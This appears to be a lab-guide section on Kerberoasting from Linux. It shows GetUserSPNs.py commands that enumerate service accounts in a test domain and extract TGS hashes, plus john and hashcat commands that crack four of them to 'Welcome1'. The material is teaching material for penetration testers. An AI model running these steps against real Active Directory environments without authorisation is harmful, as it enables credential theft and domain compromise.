9 - Kerberoasting from Linux

Linux

To perform Kerberoasting from Linux, we will use the GetUserSPNs.py tool from the impacket suite. This tool can search for all Kerberoastable accounts, extract the data encrypted with the password of the service account, and return a hashcat-friendly hash for further cracking.

Running GetUserSPNs.py without parameters will produce similar output to our PowerShell FindSPNAccounts.ps1 script developed in the previous section.

 $ GetUserSPNs.py dotnetguard.local/pixis
 
 
Password:
 ServicePrincipalNameName        MemberOfPasswordLastSetLastLogon  Delegation    
 ------------------------------------------------------------------------------------------------------  --------------------------  ----------------------
 MSSQL_svc_dev/dotnetguard.local:1443   sqldevCN=Protected Users,CN=Users,DC=DOTNETGUARD,DC=LOCAL  2020-07-27 20:46:20.558388  <never>    unconstrained 
 MSSQLSvc/sql01:1433sqlprod     CN=Protected Users,CN=Users,DC=DOTNETGUARD,DC=LOCAL2020-07-27 20:46:27.558399<never>                  
 MSSQL_svc_qa/dotnetguard.local:1443    sqlqaCN=Domain Admins,CN=Users,DC=DOTNETGUARD,DC=LOCAL    2020-07-27 20:46:33.792787  <never>                  
 MSSQL_svc_test/dotnetguard.local:1443  sql-test2020-07-27 20:47:07.574105<never>                  
 IIS_dev/dotnetguard.local:80           adam.jones2020-07-27 21:35:57.069094<never>

Now that we know there are Kerberoastable accounts, we can request a TGS ticket or Service Ticket (ST) for each of them and obtain a crackable hash in hashcat's (and John the Ripper's) format with the -request argument.

 $ GetUserSPNs.py dotnetguard.local/pixis -request
 
 
Password:
 ServicePrincipalNameName        MemberOfPasswordLastSetLastLogon  Delegation    
 ------------------------------------------------------------------------------------------------------  --------------------------  ----------------------
 MSSQL_svc_dev/dotnetguard.local:1443   sqldevCN=Protected Users,CN=Users,DC=DOTNETGUARD,DC=LOCAL  2020-07-27 20:46:20.558388  <never>    unconstrained 
 MSSQLSvc/sql01:1433sqlprod     CN=Protected Users,CN=Users,DC=DOTNETGUARD,DC=LOCAL2020-07-27 20:46:27.558399<never>                  
 MSSQL_svc_qa/dotnetguard.local:1443    sqlqaCN=Domain Admins,CN=Users,DC=DOTNETGUARD,DC=LOCAL    2020-07-27 20:46:33.792787  <never>                  
 MSSQL_svc_test/dotnetguard.local:1443  sql-test2020-07-27 20:47:07.574105<never>                  
 IIS_dev/dotnetguard.local:80adam.jones2020-07-27 21:35:57.069094<never>                  
$krb5tgs$23$*sqldev$DOTNETGUARD.LOCAL$MSSQL_svc_dev/dotnetguard.local~1443*$f06349cf7220c21cde1236e53a491a67$c4c2079e9b<SNIP>
 $krb5tgs$23$*sqlprod$DOTNETGUARD.LOCAL$MSSQLSvc/sql01~1433*$577b69c3a2abcff0fc3318fd94f90014$9272d9d177c6147a1b773ba12f95<SNIP>
 $krb5tgs$23$*sqlqa$DOTNETGUARD.LOCAL$MSSQL_svc_qa/dotnetguard.local~1443*$edaecbbcd610e2dd3ef39d6ea2cb3838$b5dbb92fb35b<SNIP>
 $krb5tgs$23$*sql-test$DOTNETGUARD.LOCAL$MSSQL_svc_test/dotnetguard.local~1443*$989e43ca34c03490e7de627135599ab4$832a1d7<SNIP>
 $krb5tgs$23$*adam.jones$DOTNETGUARD.LOCAL$IIS_dev/dotnetguard.local~80*$2b9cfebc5043606bbebb9f140bdf48cb$c05bf3d19a3e26<SNIP>

Cracking

After GetUserSPNs.py returned the list of hashes associated with the different Service Tickets (STs), we will use hashcat to try and retrieve the clear text password associated with these accounts utilizing hash-mode 13100 (Kerberos 5, etype 23, TGS-REP).

$ john hashes.txt --format=krb5tgs  --wordlist=/usr/share/wordlists/rockyou.txt
$ hashcat -m 13100 hashes.txt rockyou.txt
 
hashcat (v5.1.0) starting...
 <SNIP>
 $krb5tgs$23$*sqlqa$DOTNETGUARD.LOCAL$MSSQL_svc_qa/dotnetguard.local~1443*$edaecbbcd<SNIP>ec0ef:Welcome1
 $krb5tgs$23$*sqlprod$DOTNETGUARD.LOCAL$MSSQLSvc/sql01~1433*$577b69c3a2abcff0fc3318fd9<SNIP>7170c:Welcome1
 $krb5tgs$23$*sql-test$DOTNETGUARD.LOCAL$MSSQL_svc_test/dotnetguard.local~1443*$989e<SNIP>9f08c:Welcome1
 $krb5tgs$23$*sqldev$DOTNETGUARD.LOCAL$MSSQL_svc_dev/dotnetguard.local~1443*$f06349c<SNIP>173ca:Welcome1
 <SNIP>
 Session..........: hashcat
 Status...........: Exhausted
 Hash.Type........: Kerberos 5 TGS-REP etype 23
 Hash.Target......: hashes.txt
 Time.Started.....: Wed Aug 12 15:24:44 2020 (20 secs)
 Time.Estimated...: Wed Aug 12 15:25:04 2020 (0 secs)
 Guess.Base.......: File (Tools/Cracking/Wordlists/Passwords/rockyou.txt)
 Guess.Queue......: 1/1 (100.00%)
 Speed.#1.........:   707.8 kH/s (11.43ms) @ Accel:64 Loops:1 Thr:64 Vec:8
 Recovered........: 4/5 (80.00%) Digests, 4/5 (80.00%) Salts
 Progress.........: 71721925/71721925 (100.00%)
 Rejected.........: 0/71721925 (0.00%)
 Restore.Point....: 14344385/14344385 (100.00%)
 Restore.Sub.#1...: Salt:4 Amplifier:0-1 Iteration:0-1
 Candidates.#1....: $HEX[2321686f74746965] -> $HEX[042a0337c2a156616d6f732103]
Among the 5 Kerberoastable accounts, hashcat found the password for 4: sqlsa, sqlprod, sql-test and sqldev.